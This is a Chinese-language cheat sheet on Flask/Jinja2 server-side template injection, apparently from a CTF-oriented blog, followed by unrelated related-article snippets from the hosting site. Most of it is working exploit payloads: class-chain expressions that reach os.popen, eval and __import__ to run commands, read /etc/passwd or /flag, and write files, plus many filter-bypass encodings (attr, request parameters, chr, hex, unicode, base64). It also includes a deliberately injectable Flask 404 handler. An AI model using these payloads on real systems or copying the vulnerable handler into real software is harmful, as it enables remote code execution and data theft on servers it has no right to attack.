当前位置: 首页 > news >正文

SSTI基础

<aside> 💡

简介

</aside>

原理

又名:Flask模版注入

模版种类

**Twig{{7*'7'}}结果49 
jinja2{{7*'7'}}结果为7777777  //jinja2的常见参数是name
smarty7{*comment*}7为77**

<aside> 💡

flask实例

</aside>

**from flask import Flask    # Jinja2是Flask框架的一部分,Jinja2会把模板参数提供的相应的值替换成 {{…}} 块
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/')
def hello_world():return 'Hello World!'@app.errorhandler(404)
def page_not_found(e):template = '''
{%% block body %%}<div class="center-content error">    # 这里是报错页面所显示的内容<h1>Oops! That page doesn't exist.</h1><h3>%s</h3>    # %s接收404_url下的参数,返回到报错页面中</div> 
{%% endblock %%}
''' % (request.args.get('404_url'))return render_template_string(template), 404if __name__ == '__main__':app.run(host='0.0.0.0',debug=True)**

<aside> 💡

常用的类和方法

</aside>

**__class__用来查看变量所属的类__bases__用来查看类的基类,就是父类(或者__base__)__mro__:显示类和基类__subclasses__():查看当前类的子类__getitem__:对数组字典的内容提取__init__  : 初始化类,返回的类型是function__globals__:查看全局变量,有哪些可用的函数方法等,然后再搜索popen,eval等__builtins__:提供对Python的所有"内置"标识符的直接访问,即先加载内嵌函数再调用__import__   : 动态加载类和函数,用于导入模块,经常用于导入os模块(例如__import__('os').popen('ls').read())url_for :flask的方法,可以用于得到__builtins__lipsum :flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}config:当前application的所有配置。popen():执行一个 shell 以运行命令来开启一个进程request.args.key:获取get传入的key的值**

<aside> 💡

模糊测试

</aside>

**class
bases
mro
subclasses
getitem
init
globals
builtins
import
url_for
lipsum
config
popen
request
''
""
[]
()
.
+
_0
1
2
3
4
5
6
7
8
9
$
%**

<aside> 💡

漏洞利用基本流程

</aside>

获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令

<aside> 💡

手工Payload

</aside>

无过滤情况

**1、直接使用system、cat等命令进行远程代码执行2、使用以下:\\#**简单查找具体python类的索引:**
import os
print(''.__class__.__bases__[0].__subclasses__().index(os._wrap_close))\\#读取config
如果flag写入config内,那么可以直接{{config}}查看或者{{self.dict._TemplateReference__context.config}}\\#读取文件类,<type ‘file’> file位置一般为40,直接调用
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}} 
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').read()}}
{{[].__class__.__bases__[0].__subclasses__()[40]('etc/passwd').readlines()}}
{{[].__class__.__base__.__subclasses__()[257]('flag').read()}} (python3)\\#直接使用popen命令,python2是非法的,只限于python3
!!!!!!!!
**os._wrap_close** 类里有popen和builtins,一般位置为132~139附近
<class ‘site._Printer’> 调用os的popen执行命令
<class ‘warnings.catch_warnings’>一般位置为59,可以用它来调用file、os、eval、commands等{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}\\#调用os的popen执行命令
\\#python2、python3通用
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls /flag').read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat /flag').read()}}
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['os'].popen('whoami').read()}}
\\#python3专属
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['os'].popen('ls /').read()}}\\#调用eval函数读取
\\#python2
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} 
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}
{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')}}
\\#python3
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('id').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']}}
{{"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}
{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")}}
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}\\#调用 importlib类
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}\\#调用linecache函数
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}
{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}\\#调用communicate()函数
{{''.__class__.__base__.__subclasses__()[128]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}\\#写文件
写文件的话就直接把上面的构造里的read()换成write()即可,下面举例利用file类将数据写入文件。
{{"".__class__.__bases__[0].__bases__[0].__subclasses__()[40]('/tmp').write('test')}}  ----python2的str类型不直接从属于基类,所以payload中含有两个 .__bases__
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write('123456')}}\\#通用 getshell
原理:找到含有 __builtins__ 的类,利用即可。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}**

<aside> 💡

有过滤绕过

</aside>

绕过[]

**1、使用__getitem__绕过
{{().__class__.__bases__[0]}}
可替换为
{{().__class__.__bases__.__getitem__(0)}}**

{%%}绕过过滤{{}}

**{%print("".__class__)%}**

绕过.

**//1.使用中括号[]绕过{{().__class__}} 
可替换为:
{{()["__class__"]}}举例:
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}//2.使用attr()绕过attr()函数是Python内置函数之一,用于获取对象的属性值或设置属性值。它可以用于任何具有属性的对象,例如类实例、模块、函数等。{{().__class__}} 
可替换为:
{{()|attr("__class__")}}
{{getattr('',"__class__")}}举例:
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}//3.request方法绕过:
request.args.key  #获取get传入的key的值request.form.key  #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)reguest.values.key  #获取所有参数,如果get和post有同一个参数,post的参数会覆盖getrequest.cookies.key  #获取cookies传入参数request.headers.key  #获取请求头请求参数request.data  #获取post传入参数(Content-Type:a/b)request.json  #获取post传入json参数 (Content-Type: application/json)**

绕过单双引号

**//1.request绕过
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
\\#分析:
request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
若args被过滤了,还可以使用values来接受GET或者POST参数。其它例子:
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd//2.chr绕过
{% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}注意:使用GET请求时,+号需要url编码,否则会被当作空格处理。**

绕过关键字

**//1.使用切片将逆置的关键字顺序输出,进而达到绕过。
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
反转
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])//2.利用"+"进行字符串拼接,绕过关键字过滤。
{{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}//3.join拼接
利用join()函数绕过关键字过滤{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}//4.利用引号绕过
{{[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()}}//5.使用str原生函数replace替换
将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}//6.ascii转换
将每一个字符都转换为ascii值后再拼接在一起。"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'//7.16进制编码绕过
"__class__"=="\\x5f\\x5fclass\\x5f\\x5f"=="\\x5f\\x5f\\x63\\x6c\\x61\\x73\\x73\\x5f\\x5f"例子:
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f']('os').popen('whoami').read()}}
\\
同理,也可使用八进制编码绕过**

<aside> 💡

编码绕过

</aside>

base64编码绕过

**对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。"__class__"==("X19jbGFzc19f").decode("base64")例子:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}  
等价于  
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}**

unicode编码绕过

**{%print((((lipsum|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f"))|attr("\\u0067\\u0065\\u0074")("os"))|attr("\\u0070\\u006f\\u0070\\u0065\\u006e")("\\u0074\\u0061\\u0063\\u0020\\u002f\\u0066\\u002a"))|attr("\\u0072\\u0065\\u0061\\u0064")())%}
等同于lipsum.__globals__['os'].popen('tac /f*').read()**

Hex编码绕过

**{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\\x5f\\x5f\\x62\\x75\\x69\\x6c\\x74\\x69\\x6e\\x73\\x5f\\x5f']['\\x65\\x76\\x61\\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\\x6f\\x73'].popen('\\x6c\\x73\\x20\\x2f').read()}}   
等价于   
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}**

<aside> 💡

绕过init

</aside>

**可以用__enter__或__exit__替代__init__{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}{{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}**

相关文章:

SSTI基础

<aside> &#x1f4a1; 简介 </aside> 原理 又名&#xff1a;Flask模版注入 模版种类 **Twig{{7*7}}结果49 jinja2{{7*7}}结果为7777777 //jinja2的常见参数是name smarty7{*comment*}7为77**<aside> &#x1f4a1; flask实例 </aside> **from …...

10.1软件工程知识详解上

软件工程概述 软件开发生命周期 软件定义时期&#xff1a;包括可行性研究和详细需求分析过程&#xff0c;任务是确定软件开发工程必须完成的总目标&#xff0c;具体可分成问题定义、可行性研究、需求分析等。软件开发时期&#xff1a;就是软件的设计与实现&#xff0c;可分成…...

03Frenet与Cardesian坐标系(Frenet转Cardesian公式推导)

Frenet转Cardesian 1 明确目标 已知车辆质点在Frenet坐标系下的状态&#xff1a; Frenet 坐标系下的纵向坐标&#xff1a; s s s纵向速度&#xff1a; s ˙ \dot{s} s˙纵向加速度&#xff1a; s \ddot{s} s横向坐标&#xff1a; l l l横向速度&#xff1a; l ˙ \dot{l} l…...

knowLedge-Vue I18n 是 Vue.js 的国际化插件

1.简介 Vue I18n 是 Vue.js 的国际化插件&#xff0c;它允许开发者根据不同的语言环境显示不同的文本&#xff0c;支持多语言。 Vue I18n主要有两个版本&#xff1a;v8和v9。v8版本适用于Vue2框架。v9版本适用于Vue3框架。 2. 翻译实现原理 Vue I18n 插件通过在 Vue 实例中注…...

【开源免费】基于SpringBoot+Vue.JS微服务在线教育系统(JAVA毕业设计)

本文项目编号 T 060 &#xff0c;文末自助获取源码 \color{red}{T060&#xff0c;文末自助获取源码} T060&#xff0c;文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…...

expressjs 中的mysql.createConnection,execute 怎么使用

在 Express.js 应用中使用 MySQL 数据库&#xff0c;你通常会使用 mysql 或 mysql2 这样的库来创建和管理数据库连接&#xff0c;并执行查询。然而&#xff0c;mysql.createConnection 并不直接提供 execute 方法。相反&#xff0c;你可以使用 query 方法来执行 SQL 语句。 以…...

每日一题|983. 最低票价|动态规划、记忆化递归

本题求解最小值&#xff0c;思路是动态规划&#xff0c;但是遇到的问题是&#xff1a;动态规划更新的顺序和步长&#xff0c;以及可能存在的递归溢出问题。 1、确定dp数组含义 dp[i]表示第i天到最后一天&#xff08;可能不在需要出行的天数里&#xff09;&#xff0c;需要花费…...

oracle 正则 匹配 身份正 手机号

1.正则匹配身份证号: regexp_like(card_id,^[1-9]\d{5}(18|19|20)?\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}(\d|X)$) ^[1-9]\d{5}(18|19|20)?\d{2}(0[1-9]|1[0-2])(0[1-9]|[12]\d|3[01])\d{3}(\d|X)$ ^[1-9]&#xff1a;第一位数字不能为0。 \d{5}&#xff1a;接下来…...

在树莓派上部署开源监控系统 ZoneMinder

原文&#xff1a;https://blog.iyatt.com/?p17425 前言 自己搭建&#xff0c;可以用手里已有的设备&#xff0c;不需要额外买。这套系统的源码是公开的&#xff0c;录像数据也掌握在自己手里&#xff0c;不经过不可控的三方。 支持设置访问账号 可以保存录像&#xff0c;启…...

2022年6月 Frontier 获得性能第一的论文翻译

为百万兆级加速架构做高性能 Linpack 优化 摘要 我们详细叙述了在 rocHPL 中做的性能优化&#xff0c;rocHPL 是 AMD 对 HPL 基准的开源实现&#xff0c;主要是针对节点进行优化的架构&#xff0c;是为百万兆级系统而设计的&#xff0c;比如&#xff1a;Frontier suppercomput…...

B2B商城交易解决方案:赋能企业有效重塑采购与销售新生态

在电商零售领域&#xff0c;商城系统始终是企业搭建商城的关键利器。 伴随着电商行业的蓬勃发展&#xff0c;各类新模式层出不穷&#xff0c;各种商城系统也应运而生&#xff0c;其中B2B商城更是最为常见的一种。 近年来&#xff0c;得益于电子商务的迅猛发展&#xff0c;B2B商…...

初始C语言(五)

前言 本文章就代表C语言介绍以及了解正式完成&#xff0c;后续进行具体分析和详细解析学习。知识根深蒂固才可以应付后来的学习&#xff0c;地基要打好&#xff0c;后续才会轻松。 十四、结构体 结构体是C语言中最最重要的知识点&#xff0c;使得C语言有能力描述复杂的类型。 …...

mysql学习教程,从入门到精通,SQL 修改表(ALTER TABLE 语句)(29)

1、SQL 修改表&#xff08;ALTER TABLE 语句&#xff09; 在编写一个SQL的ALTER TABLE语句时&#xff0c;你需要明确你的目标是什么。ALTER TABLE语句用于在已存在的表上添加、删除或修改列和约束等。以下是一些常见的ALTER TABLE语句示例&#xff0c;这些示例展示了如何修改表…...

【网络基础】网络常识快速入门知识清单,看这篇文章就够了

&#x1f490;个人主页&#xff1a;初晴~ 在现在这个高度智能化的时代&#xff0c;网络几乎已经成为了空气一般无处不在。移动支付、网上购物、网络游戏、视频网站都离不开网络。你能想象如果没有网络的生活将会变成什么样吗&#x1f914; 然而如此对于如此重要的网络&#xf…...

OceanBase 关于一号表笔记与ERROR 1060(42S21)问题

OceanBase 关于客户端访问OceanBase 的表数据的过程说明 1.OBserver中的location cache 会保存observer 曾经访问过的实体表的位置信息(meta table 主要包括 __all_core_table、__all_root_table、__all_tenant_meta_table 三张内部表。OB 集群中所有实体表的 location&#x…...

【四】Spring Cloud OpenFeign原理分析

Spring Cloud OpenFeign原理分析 概述 Spring Cloud 微服务实践也有挺多年了&#xff0c;一直想着总结一下这系列的知识点&#xff0c;最近终于下定决心来出一个Spring Cloud 系列文章了。本文主要围绕fegin组件来进行讲解&#xff0c;文中将会给出基础使用的示例&#xff0c;还…...

EDM平台大比拼 用户体验与营销效果双重测评

本文评测了ZohoCampaigns、Mailchimp、Sendinblue、AWeber四款EDM平台&#xff0c;分别适合中小企业、多平台集成、多功能集成、初学者等需求。建议企业根据自身规模、技术水平和功能需求选择最适合的平台。 一、Zoho Campaigns 功能概述 Zoho Campaigns是Zoho旗下的一款专注…...

开卷可扩展自动驾驶(OpenDriveLab)

一种通用的视觉点云预测预训练方法 开卷可扩展自动驾驶&#xff08;OpenDriveLab&#xff09; 自动驾驶新方向&#xff1f;ViDAR&#xff1a;开卷可扩展自动驾驶&#xff08;OpenDriveLab&#xff09;-CSDN博客 创新点 在这项工作中&#xff0c;本文探索了专为端到端视觉自动…...

基于大数据的二手电子产品需求分析及可视化系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…...

SpringBoot——基础配置

但是还需要删除pom.xml中的标签——模板的文件也同样操作 banner的选项——关闭 控制台 日志 banner图片的位置——还会分辨颜色 在 Java 的日志框架&#xff08;如 Logback、Log4j2 等&#xff09;中&#xff0c;logging.level.root主要用于设置根日志记录器的日志级别…...

Android OpenGLES2.0开发(三):绘制一个三角形

我们总是对陌生人太客气&#xff0c;而对亲密的人太苛刻 上一篇文章中&#xff0c;我们已经将OpenGL ES环境搭建完成。接下来我们就可以开始我们的绘图之旅了。该篇我们讲解最基本图形三角形的绘制&#xff0c;这是一切绘制的基础。在OpenGL ES的世界里一切图形都可以由三角形拼…...

数据清洗的重要性与方法

在数据分析和机器学习的世界中&#xff0c;数据清洗是一个不可或缺的步骤。 它涉及到对原始数据进行处理&#xff0c;以便使其适合进一步的分析和建模。 数据清洗的重要性 提高数据质量 数据质量直接影响分析结果的准确性。 脏数据&#xff08;包含错误、重复、不完整的数据&a…...

AI与大数据的结合:如何从海量数据中提取价值

引言 在当今数字化时代&#xff0c;数据如同新石油&#xff0c;成为推动社会与商业进步的重要资源。随着物联网、社交媒体和企业运营中数据生成的激增&#xff0c;我们正处在一个数据爆炸的时代。然而&#xff0c;面对海量且复杂的数据信息&#xff0c;仅依靠传统的分析方法已经…...

【漏洞复现】孚盟云oa AjaxSendDingdingMessage接口 存在sql注入漏洞

》》》产品描述《《《 孚盟与阿里强强联手将最受青睐的经典C系列产品打造成全新的孚盟云产品&#xff0c;让用户可以用云模式实现信息化管理&#xff0c;让用户的异地办公更加流畅&#xff0c;大大降低中小企业在信息化上成本&#xff0c;用最小的投入享受大型企业级别的信息化…...

【VUE】案例:商场会员管理系统

编写vuedfr实现对会员进行基本增删改查 1. drf项目初始化 请求&#xff1a; POST http://127/0.0.0.1:8000/api/auth/ {"username":"cqn", "password":"123"}返回&#xff1a; {"username":"cqn", "token&q…...

IDEA 最新版创建 Sping Boot 项目没有 JDK8 选项的解决方案

问题 今天新建一个 Java 项目写 demo 时&#xff0c;发现 Idea 上只能勾选 Java 17、21、23 三个版本 解决方案 IDEA 页面创建 Spring 项目&#xff0c;其实是访问 spring initializr 去创建项目。我们可以通过阿里云国服去间接创建 Spring 项目。服务器 URL 地址替换为 ht…...

Unity Asset Store的默认下载位置及更改下载路径的方法

修改Unity Asset Store的默认下载路径 Unity Asset Store默认下载位置 Unity Asset Store里下载资源&#xff0c;默认是下载到C盘里的&#xff0c;如果你不想做C盘战士的话&#xff0c;记得将下载的资源转移到其他盘。 Unity商城默认下载路径是C:\用户\用户名&#xff08;一般…...

ArcEngine实现要素坐标转换:平移、缩放、旋转(批量处理)

在二维坐标系统中&#xff0c;常见转换坐标&#xff1a;平移、缩放、旋转。在ArcGIS中可以通过工具实现移动 、旋转 和缩放&#xff0c;具体操作如下&#xff1a; &#xff08;1&#xff09;移动要素&#xff1a;可通过指针或指定值以交互方式操作所选要素。移动要素&#xf…...

Redis: 主从复制原理

主从复制原理剖析 1 &#xff09;配置 通过下面的从节点的配置项可以开启主从之间的复制功能slaveof 192.16.10.101 6379这里的复制包含全量复制和增量复制 2 &#xff09;主节点的主从配置信息解析 查看主从之间的信息&#xff0c;在主节点上 $ info replication 打印出来的…...

PostgreSQL 向量扩展插件pgvector安装和使用

文章目录 PostgreSQL 向量扩展插件pgvector安装和使用安装postgresqlpgvector下载和安装安装错误调试错误调试1尝试解决 AP1 &#xff1a;启动postgresql 错误调试2尝试解决 AP2 : 使用apt-get install postgresql-server 错误调试3尝试解决 AP3 &#xff1a;卸载apt-get 安装 …...

顺德网站建设基本流程/武汉网站开发公司

--> Servelet: 用于接收请求(客户端,浏览器),做出响应的,服务器端的,java类 --> ServletLogin -- Web项目服务器响应的Java实现 package com.dragon.java.servlet;import java.io.IOException; import java.io.PrintWriter; import java.io.UnsupportedEncodingException…...

可以做公司宣传的网站有哪些/互联网营销模式有哪些

1 概述 在平时开发中&#xff0c;git可以说是我们最不陌生的工具了。而且在提交线上代码或者是将自己功能分支上的代码给cherry-pick到预发分支上时&#xff0c;如果只提交了一个点那么直接cherry-pick就可以了&#xff0c;但是提交了很多点时&#xff0c;一个一个的cherry-pic…...

做网站的成本/网站关键词快速排名工具

如果你是设计师&#xff0c;需要向客户发送设计图纸&#xff1b;如果你是业务员&#xff0c;需要向国外客户发送视频文件&#xff1b;如果你是工程师&#xff0c;需要向合作伙伴发送图纸、代码、软件包等&#xff1b;如果你是摄影师&#xff0c;需要向客户发送照片&#xff1b;…...

wordpress怎么设置派送中/seo如何提高排名

在我们平时的工作中&#xff0c;偶尔需要装个系统什么的&#xff0c;一般会有通过网络PEX安装或者cobbler安装的&#xff0c;但是万一没网呢&#xff1f;那这时候就需要一个U盘来拯救你啦。首先我们说一下思路&#xff1a;&#xff08;1&#xff09;选择一个文件夹&#xff0c;…...

设计页面的软件/德州网站建设优化

2019独角兽企业重金招聘Python工程师标准>>> 快速高效用&#xff1a;SET SQL_SAFE_UPDATES 0&#xff1b;下面的就不要看了&#xff01; 今日用MySQL Workbench进行数据库的管理更新时&#xff0c;执行一个更新的语句碰到以下错误提示&#xff1a; Error Code: 1…...

图文制作/seo网站推广方案策划书

题目链接&#xff1a;http://acm.hdu.edu.cn/showproblem.php?pid3487 题目思路&#xff1a;splay,区间旋转和区间转移&#xff0c;区间转移的时候要注意向上更新&#xff0c;旋转的时候要注意rev要异或。 #include<stdio.h> #include<stdlib.h> #include<st…...